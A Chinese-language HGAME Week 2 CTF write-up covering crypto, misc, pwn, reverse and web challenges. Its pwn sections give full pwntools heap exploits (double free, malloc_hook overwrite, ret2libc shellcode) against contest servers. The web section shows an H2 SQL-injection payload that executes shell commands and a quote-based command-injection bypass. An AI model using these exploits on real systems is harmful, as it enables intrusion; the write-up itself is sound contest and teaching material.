

HGAME Week2 WriteUP

Written by woshiluo.

Crypto

babyRSA

一般来说 e 不会太大，考虑枚举质数，很快就能求得 e 。

注意到 e 和 $\varphi(n)$ 不互质，故逆元不存在。

注意到 $\varphi(q)$ 和 e 互质。

故可求得 $m' = c^d \equiv m \pmod{q}$

而 m 显然为 $m' + kq$ ，枚举即可。

```
#!/usr/bin/env python3
# vim:fenc=utf-8
#
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from Crypto.Util.number import *
import gmpy2

e=73561
p=14213355454944773291
q=61843562051620700386348551175371930486064978441159200765618339743764001033297
c=10500213872246694649593663865603821400004347575163902508525511396508874927246 \
1906892586616250264922348192496597986452786281151156436229574065193965422841
gift=9751789326354522940

# n=e
# while True:
#     if n == 1:
#         n = 2
#     else:
#         n = gmpy2.next_prime(n)
#
#     if pow(n+114514, 0x10001, p) == gift:
#         print(n)
#         break
#
#     print( str(n) + "Failed" )
# e = e + p + p
c %= q
if pow( e + 114514, 0x10001, p ) == gift:
    print("ok")
n=p**4*q
phi = ( p**4 - p**3 ) * ( q - 1 )
d = gmpy2.invert( e, q - 1 )
res=pow(c,d,q)
while True:
```

```

print(long_to_bytes(res))
res += q

```

backpack

折半搜索

```

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#
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"""

"""

from Crypto.Util.number import *
import random
import hashlib
a=[74763079510261699126345525979, 51725049470068950810478487507,
  ↳ 47190309269514609005045330671, 64955989640650139818348214927,
  ↳ 68559937238623623619114065917, 72311339170112185401496867001,
  ↳ 70817336064254781640273354039, 70538108826539785774361605309,
  ↳ 43782530942481865621293381023, 58234328186578036291057066237,
  ↳ 68808271265478858570126916949, 61660200470938153836045483887,
  ↳ 63270726981851544620359231307, 42904776486697691669639929229,
  ↳ 41545637201787531637427603339, 74012839055649891397172870891,
  ↳ 56943794795641260674953676827, 51737391902187759188078687453,
  ↳ 49264368999561659986182883907, 60044221237387104054597861973,
  ↳ 63847046350260520761043687817, 62128146699582180779013983561,
  ↳ 65109313423212852647930299981, 66825635869831731092684039351,
  ↳ 67763265147791272083780752327, 61167844083999179669702601647,
  ↳ 55116015927868756859007961943, 52344488518055672082280377551,
  ↳ 52375877891942312320031803919, 69659035941564119291640404791,
  ↳ 52563282085178646767814382889, 56810627312286420494109192029,
  ↳ 49755877799006889063882566549, 43858901672451756754474845193,
  ↳ 67923743615154983291145624523, 51689455514728547423995162637,
  ↳ 67480131151707155672527583321, 59396212248330580072184648071,
  ↳ 63410528875220489799475249207, 48011409288550880229280578149,
  ↳ 62561969260391132956818285937, 44826158664283779410330615971,
  ↳ 70446218759976239947751162051, 56509847379836600033501942537,
  ↳ 50154287971179831355068443153, 49060507116095861174971467149,
  ↳ 54236848294299624632160521071, 64186626428974976108467196869]
bag=1202548196826013899006527314947

# list={}
# for mask in range(1 << 24):
#     sum=0
#     for j in range(24):
#         if mask & ( 1 << j ) != 0:
#             sum += a[j]
#
#     if bag >= sum:
#         list[ bag - sum ] = 1;

```

```

#     if mask % ( 1 << 20 ) == 0:
#         print(mask)
#
# for mask in range(1 << 24):
#     sum=0
#     for j in range(24):
#         if mask & ( 1 << j ) != 0:
#             sum += a[j + 24]
#
#     if sum in list:
#         print(mask)
#         break
#     if mask % ( 1 << 20 ) == 0:
#         print(mask)
# mask=16002385
# sum=0
# for j in range(24):
#     if mask & ( 1 << j ) != 0:
#         sum += a[j+24]
#
# print(bag-sum)

#less=512995993953354134765273583739
#for mask in range(1 << 24):
#    sum=0
#    for j in range(24):
#        if mask & ( 1 << j ) != 0:
#            sum += a[j]
#
#    if less == sum:
#        print(mask)
#
#
mask1=5009697
mask2=16002385
mask=mask2<<24|mask1
flag='hgame{' + hashlib.sha256(str(mask).encode()).hexdigest()+'}'
print(flag)

```

midRSA

m 高位已知。

```

def phase2(high_m, n, c):
    R.<x> = PolynomialRing(Zmod(n), implementation='NTL')
    m = high_m + x
    M = m*((m^e - c).small_roots()[0])
    print(hex(int(M))[2:])

```

high_m = m0

phase2(high_m, n, c)

奇怪的图片 plus

题目要求，两张图加密，经过缩放后只在指定点位为不同。

注意到比较时用的是 ECB 加密，故每一块的加密结果是独立的。

那么就可以构造在指定部位相同的两张图片。

```
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#
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"""

"""
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
from PIL import Image, ImageFont, ImageDraw
import struct
import random

def bytes_to_image(image_bytes, width, height):
    pixel_bytes = list(image_bytes)
    reconstructed_image = Image.new('RGB', (width, height))
    for y in range(height):
        for x in range(width):
            start = (y * width + x) * 3
            pixel = struct.unpack('BBB', bytes(pixel_bytes[start:start + 3]))
            reconstructed_image.putpixel((x, y), pixel)
    return reconstructed_image

def image_to_bytes(image):
    width, height = image.size
    pixel_bytes = []
    for y in range(height):
        for x in range(width):
            pixel = image.getpixel((x, y))
            pixel_bytes.extend(struct.pack('BBB', *pixel))
    image_bytes = bytes(pixel_bytes)
    return image_bytes

# 16*9
def xor_images(image1, image2):
    if image1.size != image2.size:
        raise ValueError("Images must have the same dimensions")
    xor_image = Image.new("RGB", image1.size)
    pixels1 = image1.load()
    pixels2 = image2.load()
    xor_pixels = xor_image.load()
    for x in range(image1.size[0]):
        for y in range(image1.size[1]):
            r1, g1, b1 = pixels1[x, y]
```

```

        r2, g2, b2 = pixels2[x, y]
        xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)
    return xor_image

width=16*16
height=9
p=Image.open('./target.png')
p=image_to_bytes(p)

res=[]
for i in range(len(p)):
    for j in range(16):
        res += p[i].to_bytes()

img1=bytes_to_image(res,width,height)
img1.save('1.png')

q=0
res=[]
for i in range(len(p)):
    for j in range(16):
        res += q.to_bytes()

img2=bytes_to_image(res,width,height)
img2.save('2.png')

image_1=image_to_bytes(img1)
image_2=image_to_bytes(img2)
image_1_w=width
image_1_h=height
image_2_w=width
image_2_h=height

F = AES.new(key=os.urandom(16), mode=AES.MODE_ECB)
image_1_encrypted = bytes_to_image(F.encrypt(pad(image_1, F.block_size)), image_1_w,
    ↪ image_1_h)
image_2_encrypted = bytes_to_image(F.encrypt(pad(image_2, F.block_size)), image_2_w,
    ↪ image_2_h)
xor_image = xor_images(image_1_encrypted, image_2_encrypted)
xor_image = xor_image.resize((16, 9), Image.NEAREST)
xor_image.show()

```

然后 client 端的加密是 CBC, 除了 key 我们还需要 iv。

直接套用给定的 encrypted_flag.png 得到 iv, 解密即可。

```

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"""

```

```

"""
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
from PIL import Image, ImageFont, ImageDraw
import struct
import random

def image_to_bytes(image):
    width, height = image.size
    pixel_bytes = []
    for y in range(height):
        for x in range(width):
            pixel = image.getpixel((x, y))
            pixel_bytes.extend(struct.pack('BBB', *pixel))
    image_bytes = bytes(pixel_bytes)
    return image_bytes

def bytes_to_image(image_bytes, width, height):
    pixel_bytes = list(image_bytes)
    reconstructed_image = Image.new('RGB', (width, height))
    for y in range(height):
        for x in range(width):
            start = (y * width + x) * 3
            pixel = struct.unpack('BBB', bytes(pixel_bytes[start:start + 3]))
            reconstructed_image.putpixel((x, y), pixel)
    return reconstructed_image

img=image_to_bytes(Image.open('./encrypted_flag.png'))

print(os.urandom(16))
# for i in range(65536):
key = 0x8693346e81fa05d8817fd2550455cdf6
iv = AES.new(key=key.to_bytes(16), mode=AES.MODE_ECB).decrypt(img[:16])
F = AES.new(key=key.to_bytes(16), mode=AES.MODE_OFB, iv=iv)
c = F.decrypt(img)

p=bytes_to_image(c,200,150)
pixels = p.load()
p.save('4.png')
for x in range(200):
    for y in range(150):
        if pixels[x, y] != (0,0,0):
            pixels[x, y] = (255,255,255)

p.save('3.png')

```

Misc

我要成为华容道高手

注意到 js 没有怎么混淆。

随便拖段代码到搜索引擎，找到 <https://github.com/conwnet/huarongdao>。

注意到src/core.js, 给定了 getSolve 函数。

直接调用即可。

```
#!/bin/sh
#
# tmp.sh
# Copyright (C) 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
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#

while true; do
    data=`curl 'http://47.100.137.175:31777/api/newgame' -H 'User-Agent: Mozilla/5.0
    ↪ (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0' -H 'Accept: */*' -H
    ↪ 'Accept-Language: en,zh;q=0.7,ja;q=0.3' -H 'Accept-Encoding: gzip, deflate' -H
    ↪ 'Referer: http://47.100.137.175:30431/' -H 'DNT: 1' -H 'Connection: keep-alive'
    ↪ -H 'Cookie: PHPSESSID=c6c1f02178dc352e5d278ba4e272ed77'`
    x=`echo $data | jq .gameId`
    layout=`echo $data | jq .layout`
    layout=`echo $layout | cut -d\" -f2`

    echo $x
    echo $layout

    ans=`node core.js $layout`
    echo $ans > tmp

    data=`curl "http://47.100.137.175:31777/api/submit/${x}" -X POST -H 'User-Agent:
    ↪ Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0' -H
    ↪ 'Accept: */*' -H 'Accept-Language: en,zh;q=0.7,ja;q=0.3' -H 'Accept-Encoding:
    ↪ gzip, deflate' -H 'Referer: http://47.100.137.175:30431/' -H 'Content-Type:
    ↪ application/json' -H 'Origin: http://47.100.137.175:30431' -H 'DNT: 1' -H
    ↪ 'Connection: keep-alive' -H 'Cookie: PHPSESSID=c6c1f02178dc352e5d278ba4e272ed77'
    ↪ --data @tmp`

    while true; do
        layout=`echo $data | jq .game_stage.layout`
        layout=`echo $layout | cut -d\" -f2`
        echo $layout
        ans=`node core.js $layout`
        echo $ans > tmp
        data=`curl "http://47.100.137.175:31777/api/submit/${x}" -X POST -H 'User-Agent:
        ↪ Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0' -H
        ↪ 'Accept: */*' -H 'Accept-Language: en,zh;q=0.7,ja;q=0.3' -H 'Accept-Encoding:
        ↪ gzip, deflate' -H 'Referer: http://47.100.137.175:30431/' -H 'Content-Type:
        ↪ application/json' -H 'Origin: http://47.100.137.175:30431' -H 'DNT: 1' -H
        ↪ 'Connection: keep-alive' -H 'Cookie:
        ↪ PHPSESSID=c6c1f02178dc352e5d278ba4e272ed77' --data @tmp`
        echo $data
    done
    break
done
```



```

context(arch = 'amd64', os = 'linux', terminal = [ 'alacritty', '-e' ], log_level =
↳ 'debug')

INDEX = b"Index: "
SIZE = b"Size:"
CONTENT = b"Content:"

def add_note(r, index, size):
    r.recvuntil(b">")
    r.sendline(b"1")
    r.sendlineafter(INDEX, str(index))
    r.sendlineafter(SIZE, str(size))

def delete_note(r, index):
    r.recvuntil(b">")
    r.sendline(b"2")
    r.sendlineafter(INDEX, str(index))

def edit_note(r, index, payload):
    r.recvuntil(b">")
    r.sendline(b"3")
    r.sendlineafter(INDEX, str(index))
    r.sendlineafter(CONTENT, payload)

def show_note(r, index):
    r.recvuntil(b">")
    r.sendline(b"4")
    r.sendlineafter(INDEX, str(index))

r = remote("106.14.57.14", 32562)
# r = process( "./vuln_patched" )
add_note(r, 0, 0x90)
add_note(r, 1, 0x10)
for i in range(2,9):
    add_note(r, i, 0x90)
for i in range(2,9):
    delete_note(r, i)
delete_note(r, 0)
# delete_note(r, 8)
# 1 -> 0 -> null
# edit_note(r, 1, p64(libc_start_main_got))
# pwnlib.gdb.attach(proc.pidof(r)[0])
show_note(r,0)
# r.recvuntil(b":")
main_area_addr = u64(r.recvuntil("Here")[0:6].ljust(8, b'\x00'))
malloc_hook_addr = main_area_addr + ( 0x7c07d4d8cb70 - 0x7c07d4d8cbe0 )
libc_base = malloc_hook_addr - libc.symbols['__malloc_hook']
system_addr = libc.symbols['system'] + libc_base
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
print("[*] malloc_hook_addr: ", hex(malloc_hook_addr))
print("[*] libc_base: ", hex(libc_base))

```

```

print("[*] write func to 0x404200")
edit_note(r, 8, p64(0x404200))
add_note(r, 9, 0x90)
add_note(r, 10, 0x90)
edit_note(r, 10, p64(system_addr))

one = 0xe3b01 + libc_base;
print("[*] change malloc_hook")
delete_note( r, 0 )
edit_note( r, 0, p64(malloc_hook_addr) )
add_note(r, 11, 0x90 )
add_note(r, 12, 0x90 )
show_note( r, 0 )
edit_note(r, 12, p64(one))
# pwnlib.gdb.attach(proc.pidof(r)[0])
add_note( r, 13, 0x40 )

r.interactive()

```

ShellcodeMaster

注意到 mmap 的地址被保护了，但是 bss 后面还有一大片的地方任我乱写。

先把栈迁移到 0x404500，考虑 ret2libc。注意到实在是没啥 gadget，可以在 shellcode 里写点。

然后 leak 几个函数就能找到 libc 版本了。剩下的就是 ret2libc 的事情。

```

#!/usr/bin/env python3
# vim:fenc=utf-8
#
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hellcodeMaster
from pwn import *

context(arch = 'amd64', os = 'linux', terminal = [ 'alacritty', '-e' ], log_level =
    ↪ 'debug')

# r = process('./vuln')
r = remote('106.14.57.14', 31202)
vuln = ELF('./vuln')
libc = ELF('./libc.so.6')

puts_got = 0x404018

# shellcode = 'mov esp, 0x404018\n'
# shellcode += 'mov eax, 1\n'
# shellcode += 'mov edi, eax\n'
# shellcode += 'mov esi, esp\n'
# shellcode += 'syscall\n'
# shellcode += 'dec edi\n'
# shellcode += 'mov eax, edi\n'
# shellcode += 'syscall\n'
# shellcode += 'ret\n'

```

```

shellcode = 'mov esp, 0x404500\n'
shellcode += 'xor rax, rax\n'
shellcode += 'mov edi, eax\n'
shellcode += 'mov esi, esp\n'
shellcode += 'syscall\nret\n'
shellcode += 'jmp [rax]\npop rax\npop rdi\npop rsi\npop rdx\nret'
payload1 = asm(shellcode)

print(shellcode)
print(len(payload1))

r.send(payload1)
# pause()
# shellcode = ''
# shellcode += shellcraft.open('/flag')
# shellcode += shellcraft.read('rax', 'rsp', 0x100)
# shellcode += shellcraft.write(1, 'rsp', 0x100)
# payload2 = asm(shellcode)
# r.send(payload2)
r.recvuntil("Love!\n")
pop_xxx=0x2333011
jmp_rax=0x233300f
load = 0x404500 + 96
payload = p64(pop_xxx) + p64(puts_got) + p64(puts_got) + p64(0) + p64(0) + p64(jmp_rax)
payload += p64(pop_xxx) + p64(vuln.got['read']) + p64(0) + p64(load) + p64(0x1000) +
    ↪ p64(jmp_rax)
r.send(payload)
puts_addr = u64(r.recv()[0:6]).ljust(8, b'\x00')
libc_base = puts_addr - libc.symbols['puts']
read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']
open_addr = libc_base + libc.symbols['open']
print("[*] libc_base: ", hex(libc_base))
# pwnlib.gdb.attach(proc.pidof(r)[0])
# pause()
payload = p64(pop_xxx) + p64(0) + p64(load+144) + p64(0) + p64(0) + p64(open_addr)
payload += p64(pop_xxx) + p64(0) + p64(3) + p64(0x404700) + p64(0x100) + p64(read_addr)
payload += p64(pop_xxx) + p64(0) + p64(1) + p64(0x404700) + p64(0x100) + p64(write_addr)
# print(len(payload))
payload += b"/flag\x00\x00\x00"
r.send(payload)

r.interactive()

```

fastnote

UAF 是比较显然的。考虑先干到 fastbin，然后 cycle 一下，然后就可以任意写了。

tcache 没啥检查，直接覆写 malloc_hook 就行。

```

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#
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#

```

```

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"""

"""

from pwn import *
# from ctypes import *

# so = CDLL("./libc.so.6")
vuln = ELF('./vuln')
libc = ELF('./libc-2.31.so')
# puts_plt = vuln.plt['puts']
# main_symbol = vuln.symbols['main']
libc_start_main_got = vuln.got['setbuf']
# libc_base = 0
# format_addr = libc_base + next(libc.search(b"--%s: %s"))

context(arch = 'amd64', os = 'linux', terminal = [ 'alacritty', '-e' ], log_level =
↳ 'debug')

INDEX = b"Index: "
SIZE = b"Size: "
CONTENT = b"Content: "
CHOICE = b"choice:"

def add_note(r, index, size, payload):
    r.recvuntil(CHOICE)
    r.sendline(b"1")
    r.sendlineafter(INDEX, str(index))
    r.sendlineafter(SIZE, str(size))
    r.sendlineafter(CONTENT, payload)

def show_note(r, index):
    r.recvuntil(CHOICE)
    r.sendline(b"2")
    r.sendlineafter(INDEX, str(index))

def delete_note(r, index):
    r.recvuntil(CHOICE)
    r.sendline(b"3")
    r.sendlineafter(INDEX, str(index))

# def edit_note(r, index, payload):
#     r.recvuntil(b">")
#     r.sendline(b"3")
#     r.sendlineafter(INDEX, str(index))
#     r.sendlineafter(CONTENT, payload)

# r=process('./vuln')
r=remote('106.14.57.14', 30165)

max_len = 0x80

```

```

add_note( r, 0, max_len, p64(0) )
add_note( r, 1, 0x10, p64(0) )
for i in range(2,9):
    add_note(r, i, max_len, p64(0))
for i in range(2,9):
    delete_note(r, i)
delete_note( r, 0 )
show_note( r, 0 )

main_area_addr = u64(r.recvuntil("Add")[0:6].ljust( 8, b'\x00' ))
malloc_hook_addr = main_area_addr + ( 0x7c07d4d8cb70 - 0x7c07d4d8cbe0 )
libc_base = malloc_hook_addr - libc.symbols['__malloc_hook']
one_gadget=libc_base+0xe3b01
log.success( "libc_base: " + hex(libc_base) )

max_len = 0x60

add_note( r, 0, max_len, p64(0) )
add_note( r, 9, max_len, p64(0) )
add_note( r, 1, 0x10, p64(0) )
for i in range(2,9):
    add_note(r, i, max_len, p64(0))
for i in range(2,9):
    delete_note(r, i)
delete_note( r, 0 )
delete_note( r, 9 )
delete_note( r, 0 )
delete_note( r, 9 )
# add_note(r, 2, max_len, p64(0))
# delete_note( r, 0 )
for i in range(2,9):
    add_note(r, i, max_len, p64(0))
add_note(r, 2, max_len, p64(malloc_hook_addr))
add_note(r, 0, max_len, p64(one_gadget))
add_note(r, 0, max_len, p64(one_gadget))
add_note(r, 0, max_len, p64(one_gadget))
show_note( r, 0 )
#pwnlib.gdb.attach(proc.pidof(r)[0])
# add_note(r, 1, 0x30, p64(one_gadget))

r.interactive()

```

fastnote_old

和 fastnote 源码一模一样。

但是 libc 版本比较老，没有 tcache 了。

fake_chunk 覆写 malloc_hook

```

#!/usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
# Distributed under terms of the GNU AGPLv3+ license.

```

```

"""

"""

from pwn import *
# from ctypes import *

# so = CDLL("./libc.so.6")
vuln = ELF('./vuln')
libc = ELF('./libc-2.23.so')
# puts_plt = vuln.plt['puts']
# main_symbol = vuln.symbols['main']
libc_start_main_got = vuln.got['setbuf']
# libc_base = 0
# format_addr = libc_base + next(libc.search(b"--%s: %s"))

context(arch = 'amd64', os = 'linux', terminal = [ 'alacritty', '-e' ], log_level =
↳ 'debug')

INDEX = b"Index: "
SIZE = b"Size: "
CONTENT = b"Content: "
CHOICE = b"choice:"

def add_note(r, index, size, payload):
    r.recvuntil(CHOICE)
    r.sendline(b"1")
    r.sendlineafter(INDEX, str(index))
    r.sendlineafter(SIZE, str(size))
    r.sendlineafter(CONTENT, payload)

def show_note(r, index):
    r.recvuntil(CHOICE)
    r.sendline(b"2")
    r.sendlineafter(INDEX, str(index))

def delete_note(r, index):
    r.recvuntil(CHOICE)
    r.sendline(b"3")
    r.sendlineafter(INDEX, str(index))

# def edit_note(r, index, payload):
#     r.recvuntil(b">")
#     r.sendline(b"3")
#     r.sendlineafter(INDEX, str(index))
#     r.sendlineafter(CONTENT, payload)

# r=process('./vuln')
r=remote('106.14.57.14', 30082)

max_len = 0x80
add_note( r, 0, max_len, p64(0) )

```

```

add_note( r, 1, 0x10, p64(0) )
for i in range(2,9):
    add_note(r, i, max_len, p64(0))
for i in range(2,9):
    delete_note(r, i)
delete_note( r, 0 )
show_note( r, 0 )

main_area_addr = u64(r.recvuntil("Add")[0:6].ljust( 8, b'\x00' ))
malloc_hook_addr = main_area_addr - ( 0x7911395c4b78 - 0x7911395c4b10 )
libc_base = malloc_hook_addr - libc.symbols['__malloc_hook']
one_gadget=libc_base+0xf1247
log.success( "libc_base: " + hex(libc_base) )

max_len = 0x60
fake_chunk = 0x3c4aed + libc_base

add_note( r, 0, max_len, p64(0) )
add_note( r, 9, max_len, p64(0) )
add_note( r, 1, 0x10, p64(0) )
for i in range(2,9):
    add_note(r, i, max_len, p64(0))
for i in range(2,9):
    delete_note(r, i)
delete_note( r, 0 )
delete_note( r, 9 )
delete_note( r, 0 )
delete_note( r, 9 )
add_note(r, 2, max_len, p64(fake_chunk))
add_note(r, 0, max_len, p64(one_gadget))
add_note(r, 0, max_len, p64(one_gadget))
add_note(r, 0, max_len, b'A' * 0x13 + p64(one_gadget))
show_note( r, 0 )
# pwnlib.gdb.attach(proc.pidof(r)[0])
# add_note(r, 2, max_len, p64(0))
# delete_note( r, 0 )
# for i in range(2,9):
#     add_note(r, i, max_len, p64(0))
# add_note(r, 2, max_len, p64(malloc_hook_addr))
# add_note(r, 0, max_len, p64(one_gadget))
# add_note(r, 0, max_len, p64(one_gadget))
# add_note(r, 0, max_len, p64(one_gadget))
# show_note( r, 0 )
# pwnlib.gdb.attach(proc.pidof(r)[0])
# add_note(r, 1, 0x30, p64(one_gad0x4527a
r.interactive()

```

Reverse

arithmetic

观察发现题目会随机一条路径求和，告诉你到如果和大于等于某一常数就是对的
那这显然是最大值了。

没有什么难度的动态规划。

```

#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <stdlib.h>

#include <vector>
#include <algorithm>

using i32 = int32_t;
using u32 = uint32_t;
using ci32 = const int32_t;
using cu32 = const uint32_t;

using i64 = int64_t;
using u64 = uint64_t;
using ci64 = const int64_t;
using cu64 = const uint64_t;

const int N = 512;
const int TARGET = 6752833;

int a[N][N];

int f[N][N], la[N][N];

int path[N];

void print( int i, int j ) {
    if( i == 1 )
        return ;
    print( i - 1, la[i][j] );
    // printf( "%d, %d\n", i, j );
    if( la[i][j] == j ) {
        printf( "1" );
        path[ i - 1 ] = 1;
    }
    else {
        printf( "2" );
        path[ i - 1 ] = 2;
    }
}

int main() {
#ifdef woshiluo
    freopen( "tmp.in", "r", stdin );
    freopen( "tmp.out", "w", stdout );
#endif
    freopen( "out2", "r", stdin );

    ci32 n = 500;
    for( int i = 1; i <= n; i ++ ) {
        for( int j = 1; j <= i; j ++ ) {
            a[i][j] = read<i32>();
        }
    }
}

```



```

    }

    f[1][1] = a[1][1];
    for( int i = 2; i <= n; i ++ ) {
        for( int j = 1; j <= i; j ++ ) {
            f[i][j] = f[ i - 1 ][j] + a[i][j];
            la[i][j] = j;
            if( j - 1 > 0 && f[ i - 1 ][ j - 1 ] + a[i][j] >= f[i][j] ) {
                f[i][j] = f[ i - 1 ][ j - 1 ] + a[i][j];
                la[i][j] = j - 1;
            }
        }
    }

    for( int j = 1; j <= n; j ++ ) {
        if( f[n][j] >= TARGET )
            print( n, j );
    }

    path[500] = 1;
    FILE* p = fopen("tmp", "w");
    fwrite( path + 1, sizeof(int), 500, p);
    fclose(p);
}

```

babyre

一扔进 IDA 就是一车互斥锁。

注意到 handle 了 SIGFPE。

分析后发现就是四个线程轮流来，然后 SIGFPE 被周期性除法。

```

unsigned char ida_chars[] =
{
    0x14, 0x2F, 0x00, 0x00, 0x4E, 0x00, 0x00, 0x00, 0xF3, 0x4F,
    0x00, 0x00, 0x6D, 0x00, 0x00, 0x00, 0xD8, 0x32, 0x00, 0x00,
    0x6D, 0x00, 0x00, 0x00, 0x4B, 0x6B, 0x00, 0x00, 0x92, 0xFF,
    0xFF, 0xFF, 0x4F, 0x26, 0x00, 0x00, 0x5B, 0x00, 0x00, 0x00,
    0xFB, 0x52, 0x00, 0x00, 0x9C, 0xFF, 0xFF, 0xFF, 0x71, 0x2B,
    0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x6F, 0x2A, 0x00, 0x00,
    0x95, 0xFF, 0xFF, 0xFF, 0xFA, 0x28, 0x00, 0x00, 0x1D, 0x00,
    0x00, 0x00, 0x89, 0x29, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF,
    0xB4, 0x28, 0x00, 0x00, 0x4E, 0x00, 0x00, 0x00, 0x06, 0x45,
    0x00, 0x00, 0xDA, 0xFF, 0xFF, 0xFF, 0x7B, 0x17, 0x00, 0x00,
    0xFC, 0xFF, 0xFF, 0xFF, 0xCE, 0x40, 0x00, 0x00, 0x7D, 0x00,
    0x00, 0x00, 0xE3, 0x29, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00,
    0x11, 0x1F, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0xFF, 0x00,
    0x00, 0x00
};

char str[] = "feifei";

int main() {
#ifdef woshiluo
    freopen( "tmp.in", "r", stdin );
    freopen( "tmp.out", "w", stdout );

```

```

#endif

    int *p = ( int*)ida_chars;

    p[32] = 250;
    for( int i = 0; i < 6; i ++ )
        str[i] ^= 0x11;
    // p[31] = '}' ;

    // printf( "%d\n", str[0] );
    for( int i = 31; i >= 0; i -- ) {
        if( i % 4 == 0 ) {
            p[i] -= p[ i + 1 ] * str[ ( i + 1 ) % 6 ];
        }
        if( i % 4 == 1 ) {
            p[i] += p[ i + 1 ] ^ str[ ( i + 1 ) % 6 ];
        }
        if( i % 4 == 2 ) {
            p[i] /= p[ i + 1 ] + str[ ( i + 1 ) % 6 ];
        }
        if( i % 4 == 3 ) {
            p[i] ^= p[ i + 1 ] - str[ ( i + 1 ) % 6 ];
        }
        if( i % 3 == 2 ) {
            for( int j = 0; j < 6; j ++ )
                str[j] ^= 0x11;
        }
    }
    for( int i = 0; i <= 31; i ++ )
        printf( "%c", p[i] );
}

```

babyAndroid

先逆 java 层, 拿到 username。

```

const char key[] = "3e1fel";
char enc[] = {-75, 80, 80, 48, -88, 75, 103, 45, -91, 89, -60, 91, -54, 5, 6, -72};
// who fucking know about this?
char box[256];

int main() {
#ifdef woshiluo
    freopen( "tmp.in", "r", stdin );
    freopen( "tmp.out", "w", stdout );
#endif

    for( int i = 0; i < 256; i ++ ) {
        box[i] = i;
    }
    i32 p = 0;
    for( int i = 0; i < 256; i ++ ) {
        p = ( p + box[i] + key[ i % 6 ] ) & 255;
        std::swap( box[i], box[p] );
    }
}

```

```

int p1 = 0, p2 = 0;
for( int i = 0; i < sizeof(enc); i ++ ) {
    p1 += 1;
    p2 = ( p2 + box[p1] ) & 255;
    std::swap( box[p1], box[p2] );
    enc[i] ^= ( box[ ( box[p1] + box[p2] ) & 255 ] );
}
for( int i = 0; i < sizeof(enc); i ++ )
    printf( "%c", enc[i] );
}

```

然后 check2 显然在 native 层里，拖进 IDA 看全局变量发现有 sbox。

应该是 AES。

扔进 cyberchef, AES 解密，用户名当密钥，得到 flag。

ezcpp

很显然的 TEA like。

```

unsigned char a[] =
{
    0x88, 0x6A, 0xB0, 0xC9, 0xAD, 0xF1, 0x33, 0x33, 0x94, 0x74,
    0xB5, 0x69, 0x73, 0x5F, 0x30, 0x62, 0x4A, 0x33, 0x63, 0x54,
    0x5F, 0x30, 0x72, 0x31, 0x65, 0x6E, 0x54, 0x65, 0x44, 0x3F,
    0x21, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

const int salt = 559038737;
const int key2 = 1234;
const int key1 = 2341;
const int key4 = 3412;
const int key3 = 4123;

void de( int &x3, int &y3 ) {
    int sum = 0;
    for( int i = 0; i < 32; i ++ )
        sum -= salt;
    for( int i = 0; i < 32; i ++ ) {
        y3 -= (sum + x3) ^ (key3 + 32 * x3) ^ (key4 + 16 * x3);
        x3 -= (sum + y3) ^ (key1 + 32 * y3) ^ (key2 + 16 * y3);
        sum += salt;
    }
}

int main() {
#ifdef woshiluo
    freopen( "tmp.in", "r", stdin );
    freopen( "tmp.out", "w", stdout );
#endif
    {
        int *x = (int*)(a + 3);
        int *y = (int*)(a + 7);
        de( *x, *y );
    }
}

```

```

    }
    {
        int *x = (int*)(a + 2);
        int *y = (int*)(a + 6);
        de( *x, *y );
    }
    {
        int *x = (int*)(a + 1);
        int *y = (int*)(a + 5);
        de( *x, *y );
    }
    {
        int *x = (int*)(a + 0);
        int *y = (int*)(a + 4);
        de( *x, *y );
    }
    for( int i = 0; i < 32; i ++ )
        printf( "%c", a[i] );
}

```

Web

search4member

观察源码，发现基本上没有过滤 & 用的 h2db。

h2db 支持乱调函数，写个 getshell 函数即可。

```

简' UNION SELECT 1,2,3; CREATE ALIAS shell AS 'String shell(String s) throws Exception {
  ↪ return (new java.io.BufferedReader( new java.io.InputStreamReader( (
  ↪ java.lang.Runtime.getRuntime().exec("cat /flag")).getInputStream()))).readLine(); }';
  ↪ --
简' UNION SELECT 1,2,shell('cat /flag'); --

```

What the cow say?

这 cow 一打开就知道是 shell 生成的。

感觉屏蔽了不少，cat 和 flag 都扬了。

不过 ‘ 和 ’ 放了。

```
`ca't' /fl'a'g_is_here/fl'a'g_c0w54y`
```

Select More Courses

先弱密码爆破。

说是和时间赛跑，估计有数据竞争。

同时请求扩学分和选课即可。

```

while true; do; curl 'http://106.14.57.14:30303/api/expand' -X POST -H 'User-Agent:
↳ Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0' -H 'Accept:
↳ */*' -H 'Accept-Language: en,zh;q=0.7,ja;q=0.3' -H 'Accept-Encoding: gzip, deflate'
↳ -H 'Referer: http://106.14.57.14:30303/expand' -H 'Content-Type: application/json' -H
↳ 'Origin: http://106.14.57.14:30303' -H 'DNT: 1' -H 'Connection: keep-alive' -H
↳ 'Cookie:
↳ session=MTcwNzM2MTUzOHxEWDhFQVFMX2dBQUJFQUVRQUFBcV80QUFBVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWF
↳ --data-raw '{"username":"ma5hr00m"}' ;done

while true; do curl 'http://106.14.57.14:31339/api/select' -X POST -H 'User-Agent:
↳ Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0' -H 'Accept:
↳ */*' -H 'Accept-Language: en,zh;q=0.7,ja;q=0.3' -H 'Accept-Encoding: gzip, deflate'
↳ -H 'Referer: http://106.14.57.14:31339/select' -H 'Content-Type: application/json' -H
↳ 'Origin: http://106.14.57.14:31339' -H 'DNT: 1' -H 'Connection: keep-alive' -H
